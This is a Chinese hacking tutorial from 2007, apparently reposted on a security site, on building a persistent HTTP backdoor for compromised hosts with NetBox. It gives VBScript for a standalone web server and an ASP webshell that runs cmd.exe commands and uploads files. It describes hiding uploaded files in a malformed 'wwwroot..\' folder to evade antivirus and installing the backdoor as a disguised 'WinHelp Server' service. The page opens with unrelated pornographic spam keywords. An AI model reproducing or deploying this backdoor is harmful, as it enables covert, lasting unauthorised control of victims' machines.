亚洲成精品动漫久久精久,九九在线精品视频播放,黄色成人免费观看,三级成人影院,久碰久,四虎成人欧美精品在永久在线

掃一掃
關(guān)注微信公眾號(hào)

黑客技巧 輕松擁有自己的超級(jí)Http后門(mén)
2007-01-26   

以前寫(xiě)的一篇文章,現(xiàn)在公布出來(lái),對(duì)編程感興趣歡迎和我討論呵!

一、前言

在當(dāng)今微軟當(dāng)?shù)赖哪甏胰怆u已經(jīng)不是什么難事,各種各樣的傻瓜工具大大方便了菜鳥(niǎo)們的入侵,但是往往入侵成功了,怎么去做好后門(mén),把肉雞盡可能久的抓住往往困惑著像我一樣的菜鳥(niǎo)們。用過(guò)無(wú)數(shù)網(wǎng)上經(jīng)典的后門(mén)后,在丟失了許多辛辛苦苦弄到的肉雞后,我下定決心要寫(xiě)自己的后門(mén)。于是有了下面的文章。

二、Netbox簡(jiǎn)介

一個(gè)偶然的機(jī)會(huì),我認(rèn)識(shí)了Netbox。Netbox是一個(gè)使用腳本語(yǔ)言進(jìn)行應(yīng)用軟件開(kāi)發(fā)與發(fā)布的開(kāi)發(fā)環(huán)境和運(yùn)行平臺(tái),使用 NetBox,可以完全使用腳本語(yǔ)言(比如 VBScript,Javascript) 創(chuàng)建出穩(wěn)定高效的應(yīng)用軟件,并且可以平滑移植到從 Windows 98 到 Windows .NET Server 的全部操作系統(tǒng)上。

它可以方便的將asp應(yīng)用編譯成為獨(dú)立運(yùn)行的執(zhí)行程序,完全擺脫iis的束縛(將iis卸載后程序運(yùn)行仍然正常),在幾乎所有的Windows版本上面直接運(yùn)行,完全不需要考慮平臺(tái)兼容性和對(duì)asp運(yùn)行環(huán)境的要求。同時(shí)NetBox還提供大量擴(kuò)展部件,使得WEB應(yīng)用更加方便。說(shuō)了那么多,大家肯定很想見(jiàn)識(shí)見(jiàn)識(shí)這位帥哥吧,好。

三、一起動(dòng)手

如果大家已經(jīng)對(duì)腳本語(yǔ)言VBScript或者Javascript有一點(diǎn)了解,那就可以跟我動(dòng)手了。我們的任務(wù)是在建立一個(gè)與iis完全無(wú)關(guān)的web服務(wù)器,它可以為我們提供FSO的支持,以方便上傳文件。并支持腳本宿主WSH,這樣我們就能執(zhí)行命令了。在網(wǎng)站根目錄里我們可以放上自己的asp木馬或其它的木馬后門(mén)并可以隨時(shí)執(zhí)行。

首先需要建立我們的web服務(wù)器,這個(gè)服務(wù)器和IIS沒(méi)有任何關(guān)系,即使卸載了IIS它也可以運(yùn)行。利用NetBox的HttpServer對(duì)象就能輕易的辦到。

在記事本里寫(xiě)入如下幾行代碼:

Set httpd = CreateObject("NetBox.HttpServer")
*創(chuàng)建httpserver對(duì)象
If httpd.Create("", 8000) = 0 Then
*web服務(wù)端口設(shè)為8000,可以自己改,不要和其他端口沖突就行了。
Set host = httpd.AddHost("", "\wwwroot")
*設(shè)置web服務(wù)的根目錄為文件夾"wwwroot"。
host.EnableScript = true
*使Web服務(wù)器能夠理解服務(wù)器端腳本程序,既支持asp。
host.AddDefault "default.asp"
host.AddDefault "default.htm"
host.AddDefault "index.asp"
host.AddDefault "index.htm"
host.AddDefault "default.html"
host.AddDefault "index.html"
*設(shè)置缺省文件,相當(dāng)與iis中的默認(rèn)文檔。
httpd.Start
*開(kāi)始服務(wù)
else
httpd.Stop
Shell.Quit 0
End If
End Sub

將文件存為main.box。

這樣一個(gè)支持asp的服務(wù)器源代碼就寫(xiě)成功了,它可以讓你的asp木馬隨心所欲的運(yùn)行,而且不用擔(dān)心會(huì)有日志記錄,但是現(xiàn)在它還遠(yuǎn)不是一個(gè)后門(mén),只是提供了與IIS相當(dāng)?shù)墓δ埽瑸榱朔乐购箝T(mén)被殺,我們不妨自己來(lái)寫(xiě)一個(gè)簡(jiǎn)單的CMD.ASP,當(dāng)然不是那個(gè)所謂的最簡(jiǎn)短的asp后門(mén)了。我們要實(shí)現(xiàn)的功能是可以上傳文件和執(zhí)行命令。

這里只分析主要的代碼,詳細(xì)的代碼附在了軟件包里。

set pyeWSH=server.createobject("WSCRIPT.SHELL")
*建立shell(wshshell)對(duì)象pyeWSH
set pyeFSO=server.createobject("scripting.filesystemobject")
*建立文件系統(tǒng)對(duì)象pyeFSO用于文件方面的操作
szTempFile="C:\"& pyeFSO.GetTempName()
*GetTempName()是fso建立臨時(shí)文件的一種方法
Call pyeWSH.Run ("cmd.exe /c "& szCMD &">" &szTempFile,0,true)
*調(diào)用wshshell的run方法來(lái)執(zhí)行命令,并把結(jié)果重定向到臨時(shí)文件中
set oFile=pyeFSO.OpenTextFile(szTempFile,1,False,0)
*以讀的方式打開(kāi)臨時(shí)文件

思路應(yīng)該很清楚,我簡(jiǎn)單說(shuō)說(shuō)。建立shell對(duì)象是用于執(zhí)行命令,建立文件系統(tǒng)對(duì)象是用于將命令執(zhí)行的結(jié)果輸入到一個(gè)臨時(shí)文件中并將文件內(nèi)容讀出來(lái)。要看到命令執(zhí)行的結(jié)果只要加上這樣一句:

response.write server.HTMLEncode(oFile.ReadAll)

就能讀出臨時(shí)文件的內(nèi)容并顯示出來(lái)。實(shí)現(xiàn)上傳文件功能的代碼也很簡(jiǎn)單。

注意這里是將上傳的文件保存到了肉雞上的一個(gè)“wwwroot.”的文件夾下面,這個(gè)文件夾只能在CMD下面用mkdir wwwroot..\ 建立。放在這個(gè)文件夾里的文件在一般情況下是看不到的,所以可以在一定程度上躲過(guò)殺毒軟件的查殺,不過(guò)執(zhí)行的時(shí)候也要麻煩一點(diǎn)了,因?yàn)榉旁谶@里面的程序用shell對(duì)象的run方法運(yùn)行不了的,因?yàn)楦菊也坏竭@個(gè)要執(zhí)行的文件。但奇怪的是可以將里面的文件copy到別的地方,所以需要執(zhí)行時(shí)就是先要將文件copy到其它目錄下,當(dāng)然啦這么簡(jiǎn)單的事我們的后門(mén)完全可以做到。Asp后門(mén)就這樣做好了,很簡(jiǎn)單吧?而且功能也不差,如果你夠懶的話,也可以直接用別人的Asp后門(mén)。

然后我們將Web服務(wù)器做成一個(gè)真正的服務(wù),也就是可以隨系統(tǒng)一起啟動(dòng),只需要加上這樣一句:

Shell.Service.RunService "WinHelp Server","WinHelp Server","Windows Help service "

引號(hào)內(nèi)依次為服務(wù)名,服務(wù)顯示名,服務(wù)描述字符串,可以發(fā)揮想象自己改。

安裝服務(wù)的命令是:myapp -install,要注意的是這個(gè)命令只是將程序變成服務(wù),并沒(méi)有運(yùn)行,所以要馬上生效的話,就要輸入myapp.exe以執(zhí)行它。

卸載服務(wù)的命令是:myapp -remove,myapp表示文件的名稱。

四、編譯應(yīng)用程序

沒(méi)想到還有這一步吧?像一般的編譯程序一樣,源文件要變異了才能執(zhí)行,編譯需要使用工具Nbdw.exe,這個(gè)工具用于將NetBox 應(yīng)用發(fā)布成為獨(dú)立的應(yīng)用程序。

點(diǎn)擊選擇源文件夾,找到我們存放源文件的目錄,勾選要編譯的文件,在輸出文件里填上要生成的執(zhí)行文件名,如pyedoor.exe,點(diǎn) Build...,開(kāi)始編譯。

最后,我們得到了編譯成功的那個(gè)可執(zhí)行文件,使用時(shí)需要上傳到遠(yuǎn)程主機(jī)上,執(zhí)行pyedoor -install,就將后門(mén)以服務(wù)方式運(yùn)行了,訪問(wèn)時(shí)只需在瀏覽器里輸入www.target.com:8000/cmd.asp就可以看到我們的木馬了。

相信熟悉網(wǎng)頁(yè)木馬的高手們不用我羅嗦了吧?但是要注意的是這個(gè)網(wǎng)頁(yè)木馬是將上傳的文件放在“wwwroot..\”目錄下的,即使在command框里輸入dir wwwroot..\也看不到上傳的文件,也執(zhí)行不了,目的在于防止被殺。那萬(wàn)一需要執(zhí)行該怎么辦呢?聰明的你肯定想到了吧,對(duì)了,只要copy“wwroot..\”目錄下的文件到別的文件夾下就行了。怎么樣很簡(jiǎn)單吧?原來(lái)?yè)碛凶约旱暮箝T(mén)這么容易。

為了方便大家使用我把做好的后門(mén),做成了自解壓文件,里面有必需的源文件,還有一個(gè)配合后門(mén)的批處理。使用時(shí)只需把這個(gè)自解壓文件上傳到遠(yuǎn)程主機(jī)上執(zhí)行就可以了。

五、自我總結(jié)

Netbox是一個(gè)新工具,本來(lái)不是為黑客服務(wù)的,但我們可以拿來(lái),它還有很多值得開(kāi)發(fā)的功能,很希望和大家一起研究。另外就是不要覺(jué)得編程之類(lèi)的很復(fù)雜,只要有信心沒(méi)有辦不成的事。


熱詞搜索:

上一篇:防范拒絕服務(wù)攻擊妙招兒
下一篇:ASP網(wǎng)站漏洞解析及黑客入侵防范方法

分享到: 收藏